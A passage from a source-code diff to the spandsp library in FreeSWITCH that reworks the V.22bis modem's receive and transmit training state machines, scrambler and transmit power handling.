-            else
-                s->rx.training = V22BIS_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200;
+            s->rx.training = V22BIS_RX_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200;
+            s->rx.pattern_repeats = 0;
         }
         break;
-    case V22BIS_TRAINING_STAGE_UNSCRAMBLED_0011:
-s->rx.sixteen_way_decisions = TRUE;
-        /* If we can actually find this it means we can use 2400bps. If we find unscrambled ones, it means we
-           we must use 1200bps. */
-        track_carrier(s, &z, &v22bis_constellation[nearest]);
-        tune_equalizer(s, &z, &v22bis_constellation[nearest]);
-        target = &z;
-        //s->rx.carrier_track_i = 1000.0f;
-        //s->rx.carrier_track_p = 1000000.0f;
-#if 0
-        if (++s->rx.training_count > ms_to_symbols(800))
+    case V22BIS_RX_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200:
+        target = &v22bis_constellation[nearest];
+        track_carrier(s, &z, target);
+        tune_equalizer(s, &z, target);
+        raw_bits = phase_steps[((nearest >> 2) - (s->rx.constellation_state >> 2)) & 3];
+        bitstream = decode_baudx(s, nearest);
+        s->rx.training_count++;
+//span_log(&s->logging, SPAN_LOG_FLOW, "S11 0x%02x 0x%02x 0x%X %d %d %d %d %d\n", raw_bits, nearest, bitstream, s->rx.scrambled_ones_to_date, 0, 0, 0, s->rx.training_count);
+        if (s->negotiated_bit_rate == 1200)
         {
-            s->detected_unscrambled_0011_ending = TRUE;
-            s->rx.training = V22BIS_TRAINING_STAGE_UNSCRAMBLED_ONES;
+            /* Search for the S1 signal */
+            if ((s->rx.last_raw_bits ^ raw_bits) == 0x3)
+            {
+                s->rx.pattern_repeats++;
+            }
+            else
+            {
+                if (s->rx.pattern_repeats >= 15  &&  (s->rx.last_raw_bits == 0x3  ||  s->rx.last_raw_bits == 0x0))
+                {
+                    /* We should get a full run of 00 11 (about 60 bauds) at the calling modem, but only about 20
+                       at the answering modem, as the first 40 are TED settling time. */
+                    span_log(&s->logging, SPAN_LOG_FLOW, "+++ S1 detected (%d long)\n", s->rx.pattern_repeats);
+                    if (s->bit_rate == 2400)
+                    {
+                        if (!s->caller)
+                        {
+                            /* Accept establishment at 2400bps */
+                            span_log(&s->logging, SPAN_LOG_FLOW, "+++ starting U0011 (S1) (Answerer)\n");
+                            s->tx.training = V22BIS_TX_TRAINING_STAGE_U0011;
+                            s->tx.training_count = 0;
+                        }
+                        s->negotiated_bit_rate = 2400;
+                    }
+                }
+                s->rx.pattern_repeats = 0;
+            }
+            if (s->rx.training_count >= ms_to_symbols(270))
+            {
+                /* If we haven't seen the S1 signal by now, we are committed to be in 1200bps mode */
+                if (s->caller)
+                {
+                    span_log(&s->logging, SPAN_LOG_FLOW, "+++ Rx normal operation (1200)\n");
+                    /* The transmit side needs to sustain the scrambled ones for a timed period */
+                    s->tx.training_count = 0;
+                    s->tx.training = V22BIS_TX_TRAINING_STAGE_TIMED_S11;
+                    /* Normal reception starts immediately */
+                    s->rx.training = V22BIS_RX_TRAINING_STAGE_NORMAL_OPERATION;
+                    s->rx.carrier_track_i = 8000.0f;
+                }
+                else
+                {
+                    span_log(&s->logging, SPAN_LOG_FLOW, "+++ starting S11 (1200) (Answerer)\n");
+                    /* The transmit side needs to sustain the scrambled ones for a timed period */
+                    s->tx.training_count = 0;
+                    s->tx.training = V22BIS_TX_TRAINING_STAGE_TIMED_S11;
+                    /* The receive side needs to wait a timed period, receiving scrambled ones,
+                       before entering normal operation. */
+                    s->rx.training = V22BIS_RX_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200_SUSTAINING;
+                }
+            }
         }
-#else
-        if (++s->rx.training_count == 1)
-        {
-            s->detected_unscrambled_zeros = nearest;
-            s->detected_unscrambled_ones = 0;
-        }
         else
         {
-span_log(&s->logging, SPAN_LOG_FLOW, "0x%X 0x%X 0x%X\n", s->detected_unscrambled_zeros, nearest, (s->detected_unscrambled_zeros + nearest) & 0x0F);
-            if ((s->rx.training_count & 1) == 0)
+            if (s->caller)
             {
-span_log(&s->logging, SPAN_LOG_FLOW, "AAA\n");
-                if (((s->detected_unscrambled_zeros + nearest) & 0x0F) == 0x06)
-                    s->detected_unscrambled_ones = 1;
-                else if (((s->detected_unscrambled_zeros + nearest) & 0x0F) == 0x02)
-                    s->detected_unscrambled_ones = -1;
-                else
+                if (s->rx.training_count >= ms_to_symbols(100 + 450))
                 {
-span_log(&s->logging, SPAN_LOG_FLOW, "AAA 1\n");
-                    if (s->detected_unscrambled_ones > 5  ||  s->detected_unscrambled_ones < -5)
-                        s->detected_unscrambled_0011_ending = TRUE;
-                    else
-                        s->bit_rate = 1200;
-                    s->rx.training = V22BIS_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200;
+                    span_log(&s->logging, SPAN_LOG_FLOW, "+++ starting 16 way decisions (caller)\n");
+                    s->rx.sixteen_way_decisions = TRUE;
+                    s->rx.training = V22BIS_RX_TRAINING_STAGE_WAIT_FOR_SCRAMBLED_ONES_AT_2400;
+                    s->rx.pattern_repeats = 0;
+                    s->rx.carrier_track_i = 8000.0f;
                 }
             }
             else
             {
-span_log(&s->logging, SPAN_LOG_FLOW, "BBB\n");
-                if (((s->detected_unscrambled_zeros + nearest) & 0x0F) == 0x06)
-                    s->detected_unscrambled_ones = 1;
-                else if (((s->detected_unscrambled_zeros + nearest) & 0x0F) == 0x02)
-                    s->detected_unscrambled_ones = -1;
-                else
+                if (s->rx.training_count >= ms_to_symbols(450))
                 {
-span_log(&s->logging, SPAN_LOG_FLOW, "BBB 1\n");
-                    if (s->detected_unscrambled_ones > 5  ||  s->detected_unscrambled_ones < -5)
-                        s->detected_unscrambled_0011_ending = TRUE;
-                    else
-                        s->bit_rate = 1200;
-                    s->rx.training = V22BIS_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200;
+                    span_log(&s->logging, SPAN_LOG_FLOW, "+++ starting 16 way decisions (answerer)\n");
+                    s->rx.sixteen_way_decisions = TRUE;
+                    s->rx.training = V22BIS_RX_TRAINING_STAGE_WAIT_FOR_SCRAMBLED_ONES_AT_2400;
+                    s->rx.pattern_repeats = 0;
                 }
             }
         }
-#endif
         break;
-    case V22BIS_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200:
-        track_carrier(s, &z, &v22bis_constellation[nearest]);
-        tune_equalizer(s, &z, &v22bis_constellation[nearest]);
-        target = &z;
-span_log(&s->logging, SPAN_LOG_FLOW, "S11 0x%02x\n", nearest);
-        if (++s->rx.training_count > ms_to_symbols(900))
+    case V22BIS_RX_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200_SUSTAINING:
+        target = &v22bis_constellation[nearest];
+        track_carrier(s, &z, target);
+        tune_equalizer(s, &z, target);
+        bitstream = decode_baudx(s, nearest);
+        if (++s->rx.training_count > ms_to_symbols(270 + 765))
         {
-            s->detected_scrambled_ones_or_zeros_at_1200bps = TRUE;
-            s->rx.training = V22BIS_TRAINING_STAGE_NORMAL_OPERATION;
+            span_log(&s->logging, SPAN_LOG_FLOW, "+++ Rx normal operation (1200)\n");
+            s->rx.training = V22BIS_RX_TRAINING_STAGE_NORMAL_OPERATION;
         }
-        if (s->bit_rate == 2400  &&  s->rx.training_count == ms_to_symbols(450))
-            s->rx.sixteen_way_decisions = TRUE;
         break;
-    case V22BIS_TRAINING_STAGE_SCRAMBLED_ONES_AT_2400:
-        track_carrier(s, &z, &v22bis_constellation[nearest]);
-        tune_equalizer(s, &z, &v22bis_constellation[nearest]);
-        s->rx.sixteen_way_decisions = TRUE;
-        target = &z;
+    case V22BIS_RX_TRAINING_STAGE_WAIT_FOR_SCRAMBLED_ONES_AT_2400:
+        target = &v22bis_constellation[nearest];
+        track_carrier(s, &z, target);
+        tune_equalizer(s, &z, target);
+        bitstream = decode_baudx(s, nearest);
+        /* We need 32 sustained 1's to switch into normal operation. */
+        if (bitstream == 0xF)
+        {
+            if (++s->rx.pattern_repeats >= 9)
+            {
+                span_log(&s->logging, SPAN_LOG_FLOW, "+++ Rx normal operation (2400)\n");
+                s->rx.training = V22BIS_RX_TRAINING_STAGE_NORMAL_OPERATION;
+            }
+        }
+        else
+        {
+            s->rx.pattern_repeats = 0;
+        }
         break;
-    case V22BIS_TRAINING_STAGE_PARKED:
+    case V22BIS_RX_TRAINING_STAGE_PARKED:
     default:
         /* We failed to train! */
         /* Park here until the carrier drops. */
         target = &z;
         break;
     }
+    s->rx.last_raw_bits = raw_bits;
     if (s->rx.qam_report)
         s->rx.qam_report(s->rx.qam_user_data, &z, target, s->rx.constellation_state);
 }
 /*- End of function --------------------------------------------------------*/
 
-int v22bis_rx(v22bis_state_t *s, const int16_t amp[], int len)
+SPAN_DECLARE_NONSTD(int) v22bis_rx(v22bis_state_t *s, const int16_t amp[], int len)
 {
     int i;
     int j;
@@ -586,8 +714,8 @@
             s->rx.rrc_filter_step = 0;
 
         /* Calculate the I filter, with an arbitrary phase step, just so we can calculate
-           the signal power. */
-        /* TODO: get rid of this */
+           the signal power of the required carrier, with any guard tone or spillback of our
+           own transmitted signal suppressed. */
         if (s->caller)
         {
             ii = rx_pulseshaper_2400_re[6][0]*s->rx.rrc_filter[s->rx.rrc_filter_step];
@@ -600,34 +728,34 @@
             for (j = 1;  j < V22BIS_RX_FILTER_STEPS;  j++)
                 ii += rx_pulseshaper_1200_re[6][j]*s->rx.rrc_filter[j + s->rx.rrc_filter_step];
         }
-        power = power_meter_update(&(s->rx.rx_power), (int16_t) (ii/10.0f));
+        power = power_meter_update(&(s->rx.rx_power), (int16_t) ii);
         if (s->rx.signal_present)
         {
-            /* Look for power below -48dBm0 to turn the carrier off */
+            /* Look for power below the carrier off point */
             if (power < s->rx.carrier_off_power)
             {
-                v22bis_rx_restart(s, s->bit_rate);
-                s->put_bit(s->user_data, SIG_STATUS_CARRIER_DOWN);
+                v22bis_restart(s, s->bit_rate);
+                v22bis_report_status_change(s, SIG_STATUS_CARRIER_DOWN);
                 continue;
             }
         }
         else
         {
-            /* Look for power exceeding -43dBm0 to turn the carrier on */
+            /* Look for power exceeding the carrier on point */
             if (power < s->rx.carrier_on_power)
                 continue;
             s->rx.signal_present = TRUE;
-            s->put_bit(s->user_data, SIG_STATUS_CARRIER_UP);
+            v22bis_report_status_change(s, SIG_STATUS_CARRIER_UP);
         }
-        if (s->rx.training != V22BIS_TRAINING_STAGE_PARKED)
+        if (s->rx.training != V22BIS_RX_TRAINING_STAGE_PARKED)
         {
             /* Only spend effort processing this data if the modem is not
-               parked, after training failure. */
-            z = dds_complexf(&(s->rx.carrier_phase), s->rx.carrier_phase_rate);
-            if (s->rx.training == V22BIS_TRAINING_STAGE_SYMBOL_ACQUISITION)
+               parked, after a training failure. */
+            z = dds_complexf(&s->rx.carrier_phase, s->rx.carrier_phase_rate);
+            if (s->rx.training == V22BIS_RX_TRAINING_STAGE_SYMBOL_ACQUISITION)
             {
                 /* Only AGC during the initial symbol acquisition, and then lock the gain. */
-                s->rx.agc_scaling = 0.018f*3.60f/sqrtf(power);
+                s->rx.agc_scaling = 0.18f*3.60f/sqrtf(power);
             }
             /* Put things into the equalization buffer at T/2 rate. The Gardner algorithm
                will fiddle the step to align this with the symbols. */
@@ -676,24 +804,42 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v22bis_rx_restart(v22bis_state_t *s, int bit_rate)
+SPAN_DECLARE(int) v22bis_rx_fillin(v22bis_state_t *s, int len)
 {
-    /* If bit_rate is 2400, the real bit rate is negotiated. If bit_rate
-       is 1200, the real bit rate is forced to 1200. */
-    s->bit_rate = bit_rate;
+    int i;
+
+    /* We want to sustain the current state (i.e carrier on<->carrier off), and
+       try to sustain the carrier phase. We should probably push the filters, as well */
+    span_log(&s->logging, SPAN_LOG_FLOW, "Fill-in %d samples\n", len);
+    if (!s->rx.signal_present)
+        return 0;
+    for (i = 0;  i < len;  i++)
+    {
+#if defined(SPANDSP_USE_FIXED_POINTx)
+        dds_advance(&s->rx.carrier_phase, s->rx.carrier_phase_rate);
+#else
+        dds_advancef(&s->rx.carrier_phase, s->rx.carrier_phase_rate);
+#endif
+    }
+    /* TODO: Advance the symbol phase the appropriate amount */
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+int v22bis_rx_restart(v22bis_state_t *s)
+{
     vec_zerof(s->rx.rrc_filter, sizeof(s->rx.rrc_filter)/sizeof(s->rx.rrc_filter[0]));
     s->rx.rrc_filter_step = 0;
     s->rx.scramble_reg = 0;
     s->rx.scrambler_pattern_count = 0;
-    s->rx.training = V22BIS_TRAINING_STAGE_SYMBOL_ACQUISITION;
+    s->rx.training = V22BIS_RX_TRAINING_STAGE_SYMBOL_ACQUISITION;
     s->rx.training_count = 0;
     s->rx.signal_present = FALSE;
 
     s->rx.carrier_phase_rate = dds_phase_ratef((s->caller)  ?  2400.0f  :  1200.0f);
     s->rx.carrier_phase = 0;
     power_meter_init(&(s->rx.rx_power), 5);
-    s->rx.carrier_on_power = power_meter_level_dbm0(-43);
-    s->rx.carrier_off_power = power_meter_level_dbm0(-48);
+    v22bis_rx_signal_cutoff(s, -45.5f);
     s->rx.agc_scaling = 0.0005f*0.025f;
 
     s->rx.constellation_state = 0;
@@ -701,18 +847,24 @@
 
     equalizer_reset(s);
 
-    s->detected_unscrambled_ones = 0;
-    s->detected_unscrambled_zeros = 0;
+    s->rx.pattern_repeats = 0;
+    s->rx.last_raw_bits = 0;
     s->rx.gardner_integrate = 0;
     s->rx.gardner_step = 256;
     s->rx.baud_phase = 0;
-    s->rx.carrier_track_i = 8000.0f;
+    s->rx.training_error = 0.0f;
+    s->rx.total_baud_timing_correction = 0;
+    /* We want the carrier to pull in faster on the answerer side, as it has very little time to adapt. */
+    s->rx.carrier_track_i = (s->caller)  ?  8000.0f  :  40000.0f;
     s->rx.carrier_track_p = 8000000.0f;
+
+    s->negotiated_bit_rate = 1200;
+
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-void v22bis_set_qam_report_handler(v22bis_state_t *s, qam_report_handler_t handler, void *user_data)
+SPAN_DECLARE(void) v22bis_rx_set_qam_report_handler(v22bis_state_t *s, qam_report_handler_t handler, void *user_data)
 {
     s->rx.qam_report = handler;
     s->rx.qam_user_data = user_data;

Modified: freeswitch/branches/seven/libs/spandsp/src/v22bis_tx.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/v22bis_tx.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/v22bis_tx.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,30 +22,32 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v22bis_tx.c,v 1.44 2008/09/07 12:45:17 steveu Exp $
+ * $Id: v22bis_tx.c,v 1.63 2009/06/02 16:03:56 steveu Exp $
  */
 
 /*! \file */
 
-/* THIS IS A WORK IN PROGRESS - NOT YET FUNCTIONAL! */
+/* THIS IS A WORK IN PROGRESS - It is basically functional, but it is not feature
+   complete, and doesn't reliably sync over the signal and noise level ranges it should! */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdio.h>
 #include <inttypes.h>
 #include <stdlib.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/logging.h"
 #include "spandsp/complex.h"
 #include "spandsp/vector_float.h"
@@ -57,7 +59,10 @@
 #include "spandsp/v29rx.h"
 #include "spandsp/v22bis.h"
 
-#if defined(SPANDSP_USE_FIXED_POINT)
+#include "spandsp/private/logging.h"
+#include "spandsp/private/v22bis.h"
+
+#if defined(SPANDSP_USE_FIXED_POINTx)
 #include "v22bis_tx_fixed_rrc.h"
 #else
 #include "v22bis_tx_floating_rrc.h"
@@ -236,18 +241,6 @@
 
 #define ms_to_symbols(t)    (((t)*600)/1000)
 
-/* Segments of the training sequence */
-enum
-{
-    V22BIS_TRAINING_STAGE_NORMAL_OPERATION = 0,
-    V22BIS_TRAINING_STAGE_INITIAL_SILENCE,
-    V22BIS_TRAINING_STAGE_UNSCRAMBLED_ONES,
-    V22BIS_TRAINING_STAGE_UNSCRAMBLED_0011,
-    V22BIS_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200,
-    V22BIS_TRAINING_STAGE_SCRAMBLED_ONES_AT_2400,
-    V22BIS_TRAINING_STAGE_PARKED
-};
-
 static const int phase_steps[4] =
 {
     1, 0, 2, 3
@@ -256,19 +249,19 @@
 const complexf_t v22bis_constellation[16] =
 {
     { 1.0f,  1.0f},
-    { 3.0f,  1.0f},
+    { 3.0f,  1.0f},     /* 1200bps 00 */
     { 1.0f,  3.0f},
     { 3.0f,  3.0f},
     {-1.0f,  1.0f},
-    {-1.0f,  3.0f},
+    {-1.0f,  3.0f},     /* 1200bps 01 */
     {-3.0f,  1.0f},
     {-3.0f,  3.0f},
     {-1.0f, -1.0f},
-    {-3.0f, -1.0f},
+    {-3.0f, -1.0f},     /* 1200bps 10 */
     {-1.0f, -3.0f},
     {-3.0f, -3.0f},
     { 1.0f, -1.0f},
-    { 1.0f, -3.0f},
+    { 1.0f, -3.0f},     /* 1200bps 11 */
     { 3.0f, -1.0f},
     { 3.0f, -3.0f}
 };
@@ -283,17 +276,18 @@
 {
     int out_bit;
 
-    out_bit = (bit ^ (s->tx.scramble_reg >> 14) ^ (s->tx.scramble_reg >> 17)) & 1;
     if (s->tx.scrambler_pattern_count >= 64)
     {
-        out_bit ^= 1;
+        bit ^= 1;
         s->tx.scrambler_pattern_count = 0;
     }
+    out_bit = (bit ^ (s->tx.scramble_reg >> 13) ^ (s->tx.scramble_reg >> 16)) & 1;
+    s->tx.scramble_reg = (s->tx.scramble_reg << 1) | out_bit;
+    
     if (out_bit == 1)
         s->tx.scrambler_pattern_count++;
     else
         s->tx.scrambler_pattern_count = 0;
-    s->tx.scramble_reg = (s->tx.scramble_reg << 1) | out_bit;
     return out_bit;
 }
 /*- End of function --------------------------------------------------------*/
@@ -302,7 +296,7 @@
 {
     int bit;
 
-    if ((bit = s->tx.current_get_bit(s->user_data)) == SIG_STATUS_END_OF_DATA)
+    if ((bit = s->tx.current_get_bit(s->get_bit_user_data)) == SIG_STATUS_END_OF_DATA)
     {
         /* Fill out this symbol with ones, and prepare to send
            the rest of the shutdown sequence. */
@@ -322,159 +316,94 @@
     /* V.22bis training sequence */
     switch (s->tx.training)
     {
-    case V22BIS_TRAINING_STAGE_INITIAL_SILENCE:
-        /* Segment 1: silence */
+    case V22BIS_TX_TRAINING_STAGE_INITIAL_TIMED_SILENCE:
+        /* The answerer waits 75ms, then sends unscrambled ones */
+        if (++s->tx.training_count >= ms_to_symbols(75))
+        {
+            /* Initial 75ms of silence is over */
+            span_log(&s->logging, SPAN_LOG_FLOW, "+++ starting U11 1200\n");
+            s->tx.training_count = 0;
+            s->tx.training = V22BIS_TX_TRAINING_STAGE_U11;
+        }
+        /* Fall through */
+    case V22BIS_TX_TRAINING_STAGE_INITIAL_SILENCE:
+        /* Silence */
         s->tx.constellation_state = 0;
         z = complex_setf(0.0f, 0.0f);
-        if (s->caller)
-        {
-            /* The caller just waits for a signal from the far end, which should be unscrambled ones */
-            if (s->detected_unscrambled_ones_or_zeros)
-            {
-                if (s->bit_rate == 2400)
-                {
-                    /* Try to establish at 2400bps */
-                    span_log(&s->logging, SPAN_LOG_FLOW, "+++ starting unscrambled 0011 at 1200 (S1)\n");
-                    s->tx.training = V22BIS_TRAINING_STAGE_UNSCRAMBLED_0011;
-                }
-                else
-                {
-                    /* Only try at 1200bps */
-                    span_log(&s->logging, SPAN_LOG_FLOW, "+++ starting scrambled ones at 1200 (A)\n");
-                    s->tx.training = V22BIS_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200;
-                }
-                s->tx.training_count = 0;
-            }
-        }
-        else
-        {
-            /* The answerer waits 75ms, then sends unscrambled ones */
-            if (++s->tx.training_count >= ms_to_symbols(75))
-            {
-                /* Inital 75ms of silence is over */
-                span_log(&s->logging, SPAN_LOG_FLOW, "+++ starting unscrambled ones at 1200\n");
-                s->tx.training = V22BIS_TRAINING_STAGE_UNSCRAMBLED_ONES;
-                s->tx.training_count = 0;
-            }
-        }
         break;
-    case V22BIS_TRAINING_STAGE_UNSCRAMBLED_ONES:
-        /* Segment 2: Continuous unscrambled ones at 1200bps (i.e. reversals). */
+    case V22BIS_TX_TRAINING_STAGE_U11:
+        /* Send continuous unscrambled ones at 1200bps (i.e. 270 degree phase steps). */
         /* Only the answering modem sends unscrambled ones. It is the first thing exchanged between the modems. */
         s->tx.constellation_state = (s->tx.constellation_state + phase_steps[3]) & 3;
         z = v22bis_constellation[(s->tx.constellation_state << 2) | 0x01];
-        if (s->bit_rate == 2400  &&  s->detected_unscrambled_0011_ending)
-        {
-            /* We are allowed to use 2400bps, and the far end is requesting 2400bps. Result: we are going to
-               work at 2400bps */
-            span_log(&s->logging, SPAN_LOG_FLOW, "+++ [2400] starting unscrambled 0011 at 1200 (S1)\n");
-            s->tx.training = V22BIS_TRAINING_STAGE_UNSCRAMBLED_0011;
-            s->tx.training_count = 0;
-            break;
-        }
-        if (s->detected_scrambled_ones_or_zeros_at_1200bps)
-        {
-            /* We are going to work at 1200bps. */
-            span_log(&s->logging, SPAN_LOG_FLOW, "+++ [1200] starting scrambled ones at 1200 (B)\n");
-            s->bit_rate = 1200;
-            s->tx.training = V22BIS_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200;
-            s->tx.training_count = 0;
-            break;
-        }
         break;
-    case V22BIS_TRAINING_STAGE_UNSCRAMBLED_0011:
-        /* Segment 3: Continuous unscrambled double dibit 00 11 at 1200bps. This is termed the S1 segment in
+    case V22BIS_TX_TRAINING_STAGE_U0011:
+        /* Continuous unscrambled double dibit 00 11 at 1200bps. This is termed the S1 segment in
            the V.22bis spec. It is only sent to request or accept 2400bps mode, and lasts 100+-3ms. After this
            timed burst, we unconditionally change to sending scrambled ones at 1200bps. */
-        s->tx.constellation_state = (s->tx.constellation_state + phase_steps[(s->tx.training_count & 1)  ?  3  :  0]) & 3;
-span_log(&s->logging, SPAN_LOG_FLOW, "U0011 Tx 0x%02x\n", s->tx.constellation_state);
+        s->tx.constellation_state = (s->tx.constellation_state + phase_steps[3*(s->tx.training_count & 1)]) & 3;
         z = v22bis_constellation[(s->tx.constellation_state << 2) | 0x01];
         if (++s->tx.training_count >= ms_to_symbols(100))
         {
-            span_log(&s->logging, SPAN_LOG_FLOW, "+++ starting scrambled ones at 1200 (C)\n");
-            s->tx.training = V22BIS_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200;
-            s->tx.training_count = 0;
-        }
-        break;
-    case V22BIS_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200:
-        /* Segment 4: Scrambled ones at 1200bps. */
-        bits = scramble(s, 1);
-        bits = (bits << 1) | scramble(s, 1);
-        s->tx.constellation_state = (s->tx.constellation_state + phase_steps[bits]) & 3;
-        z = v22bis_constellation[(s->tx.constellation_state << 2) | 0x01];
-        if (s->caller)
-        {
-            if (s->detected_unscrambled_0011_ending)
+            span_log(&s->logging, SPAN_LOG_FLOW, "+++ starting S11 after U0011\n");
+            if (s->caller)
             {
-                /* Continue for a further 600+-10ms */
-                if (++s->tx.training_count >= ms_to_symbols(600))
-                {
-                    span_log(&s->logging, SPAN_LOG_FLOW, "+++ starting scrambled ones at 2400 (A)\n");
-                    s->tx.training = V22BIS_TRAINING_STAGE_SCRAMBLED_ONES_AT_2400;
-                    s->tx.training_count = 0;
-                }
+                s->tx.training_count = 0;
+                s->tx.training = V22BIS_TX_TRAINING_STAGE_S11;
             }
-            else if (s->detected_scrambled_ones_or_zeros_at_1200bps)
+            else
             {
-                if (s->bit_rate == 2400)
-                {
-                    /* Continue for a further 756+-10ms */
-                    if (++s->tx.training_count >= ms_to_symbols(756))
-                    {
-                        span_log(&s->logging, SPAN_LOG_FLOW, "+++ starting scrambled ones at 2400 (B)\n");
-                        s->tx.training = V22BIS_TRAINING_STAGE_SCRAMBLED_ONES_AT_2400;
-                        s->tx.training_count = 0;
-                    }
-                }
-                else
-                {
-                    span_log(&s->logging, SPAN_LOG_FLOW, "+++ finished\n");
-                    s->tx.training = V22BIS_TRAINING_STAGE_NORMAL_OPERATION;
-                    s->tx.training_count = 0;
-                    s->tx.current_get_bit = s->get_bit;
-                }
+                s->tx.training_count = ms_to_symbols(756 - (600 - 100));
+                s->tx.training = V22BIS_TX_TRAINING_STAGE_TIMED_S11;
             }
         }
-        else
+        break;
+    case V22BIS_TX_TRAINING_STAGE_TIMED_S11:
+        /* A timed period of scrambled ones at 1200bps. */
+        if (++s->tx.training_count >= ms_to_symbols(756))
         {
-            if (s->bit_rate == 2400)
+            if (s->negotiated_bit_rate == 2400)
             {
-                if (++s->tx.training_count >= ms_to_symbols(500))
-                {
-                    span_log(&s->logging, SPAN_LOG_FLOW, "+++ starting scrambled ones at 2400 (C)\n");
-                    s->tx.training = V22BIS_TRAINING_STAGE_SCRAMBLED_ONES_AT_2400;
-                    s->tx.training_count = 0;
-                }
+                span_log(&s->logging, SPAN_LOG_FLOW, "+++ starting S1111 (C)\n");
+                s->tx.training_count = 0;
+                s->tx.training = V22BIS_TX_TRAINING_STAGE_S1111;
             }
             else
             {
-                if (++s->tx.training_count >= ms_to_symbols(756))
-                {
-                    span_log(&s->logging, SPAN_LOG_FLOW, "+++ finished\n");
-                    s->tx.training = 0;
-                    s->tx.training_count = 0;
-                }
+                span_log(&s->logging, SPAN_LOG_FLOW, "+++ Tx normal operation (1200)\n");
+                s->tx.training_count = 0;
+                s->tx.training = V22BIS_TX_TRAINING_STAGE_NORMAL_OPERATION;
+                v22bis_report_status_change(s, SIG_STATUS_TRAINING_SUCCEEDED);
+                s->tx.current_get_bit = s->get_bit;
             }
         }
+        /* Fall through */
+    case V22BIS_TX_TRAINING_STAGE_S11:
+        /* Scrambled ones at 1200bps. */
+        bits = scramble(s, 1);
+        bits = (bits << 1) | scramble(s, 1);
+        s->tx.constellation_state = (s->tx.constellation_state + phase_steps[bits]) & 3;
+        z = v22bis_constellation[(s->tx.constellation_state << 2) | 0x01];
         break;
-    case V22BIS_TRAINING_STAGE_SCRAMBLED_ONES_AT_2400:
-        /* Segment 4: Scrambled ones at 2400bps. */
+    case V22BIS_TX_TRAINING_STAGE_S1111:
+        /* Scrambled ones at 2400bps. We send a timed 200ms burst, and switch to normal operation at 2400bps */
         bits = scramble(s, 1);
         bits = (bits << 1) | scramble(s, 1);
         s->tx.constellation_state = (s->tx.constellation_state + phase_steps[bits]) & 3;
         bits = scramble(s, 1);
         bits = (bits << 1) | scramble(s, 1);
-        z = v22bis_constellation[(s->tx.constellation_state << 2) | 0x01];
+        z = v22bis_constellation[(s->tx.constellation_state << 2) | bits];
         if (++s->tx.training_count >= ms_to_symbols(200))
         {
             /* We have completed training. Now handle some real work. */
-            span_log(&s->logging, SPAN_LOG_FLOW, "+++ finished\n");
-            s->tx.training = 0;
+            span_log(&s->logging, SPAN_LOG_FLOW, "+++ Tx normal operation (2400)\n");
             s->tx.training_count = 0;
+            s->tx.training = V22BIS_TX_TRAINING_STAGE_NORMAL_OPERATION;
+            v22bis_report_status_change(s, SIG_STATUS_TRAINING_SUCCEEDED);
             s->tx.current_get_bit = s->get_bit;
         }
         break;
-    case V22BIS_TRAINING_STAGE_PARKED:
+    case V22BIS_TX_TRAINING_STAGE_PARKED:
     default:
         z = complex_setf(0.0f, 0.0f);
         break;
@@ -505,7 +434,7 @@
     bits = get_scrambled_bit(s);
     bits = (bits << 1) | get_scrambled_bit(s);
     s->tx.constellation_state = (s->tx.constellation_state + phase_steps[bits]) & 3;
-    if (s->bit_rate == 1200)
+    if (s->negotiated_bit_rate == 1200)
     {
         bits = 0x01;
     }
@@ -519,7 +448,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v22bis_tx(v22bis_state_t *s, int16_t amp[], int len)
+SPAN_DECLARE_NONSTD(int) v22bis_tx(v22bis_state_t *s, int16_t amp[], int len)
 {
     complexf_t x;
     complexf_t z;
@@ -555,29 +484,49 @@
             famp += dds_modf(&(s->tx.guard_phase), s->tx.guard_phase_rate, s->tx.guard_level, 0);
         }
         /* Don't bother saturating. We should never clip. */
-        amp[sample] = (int16_t) lrintf(famp);
+        amp[sample] = (int16_t) lfastrintf(famp);
     }
     return sample;
 }
 /*- End of function --------------------------------------------------------*/
 
-void v22bis_tx_power(v22bis_state_t *s, float power)
+SPAN_DECLARE(void) v22bis_tx_power(v22bis_state_t *s, float power)
 {
     float l;
 
-    l = 1.6f*powf(10.0f, (power - DBM0_MAX_POWER)/20.0f);
-    s->tx.gain = l*32768.0f/(TX_PULSESHAPER_GAIN*3.0f);
+    if (s->tx.guard_phase_rate == dds_phase_ratef(550.0f))
+    {
+        l = 1.6f*powf(10.0f, (power - 1.0f - DBM0_MAX_POWER)/20.0f);
+        s->tx.gain = l*32768.0f/(TX_PULSESHAPER_GAIN*3.0f);
+        l = powf(10.0f, (power - 1.0f - 3.0f - DBM0_MAX_POWER)/20.0f);
+        s->tx.guard_level = l*32768.0f;
+    }
+    else if(s->tx.guard_phase_rate == dds_phase_ratef(1800.0f))
+    {
+        l = 1.6f*powf(10.0f, (power - 1.0f - 1.0f - DBM0_MAX_POWER)/20.0f);
+        s->tx.gain = l*32768.0f/(TX_PULSESHAPER_GAIN*3.0f);
+        l = powf(10.0f, (power - 1.0f - 6.0f - DBM0_MAX_POWER)/20.0f);
+        s->tx.guard_level = l*32768.0f;
+    }
+    else
